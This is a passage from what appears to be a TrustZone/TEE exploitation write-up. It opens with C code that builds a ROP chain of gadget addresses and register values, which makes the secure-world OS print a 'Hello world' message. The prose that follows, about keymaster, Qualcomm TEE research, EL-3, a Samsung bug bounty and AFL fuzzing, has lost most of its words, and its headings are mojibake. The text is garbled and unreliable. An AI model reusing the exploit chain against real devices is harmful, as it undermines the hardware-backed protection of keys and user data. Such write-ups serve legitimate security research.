*(int*)&mem1[offset] = SUPER_GADGET; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0; // r4 *(int*)&mem1[offset + 12] = SUPER_GADGET; // r5 *(int*)&mem1[offset + 16] = 0x9560b; // r7 offset += 0x14; *(int*)&mem1[offset] = 0; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0; // r4 *(int*)&mem1[offset + 12] = 0; // r5 *(int*)&mem1[offset + 16] = 0x96829; // r7 offset += 0x14; *(int*)&mem1[offset] = SUPER_GADGET; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = 0x3d5f4; // r4 *(int*)&mem1[offset + 12] = mapInfo3.sVirtualAddr; // r5 *(int*)&mem1[offset + 16] = 0x218c7; // r7
Hello, world .
strcpy(mem3 + 0x100, "Hello world from TEE!\n"); *(int*)&mem1[offset] = 0x7d081b1; // r2 *(int*)&mem1[offset + 4] = 0; // r3 *(int*)&mem1[offset + 8] = mapInfo3.sVirtualAddr + 0x100; // r4 *(int*)&mem1[offset + 12] = 0; // r5 *(int*)&mem1[offset + 16] = 0x9545b; // r7

"Hello, world!" , , , keymaster, , . , . , Gal Beniamini TEE Qualcomm , , offline- Android. TEE OS EL-3, .
рдирд┐рд╖реНрдХрд░реНрд╖
ARM TrustZone , . Secure World Android, . , , Samsung bug bounty TrustZone, .

AFL qemu, "" . . , . !
рдЙрдкрдпреЛрдЧреА рд▓рд┐рдВрдХ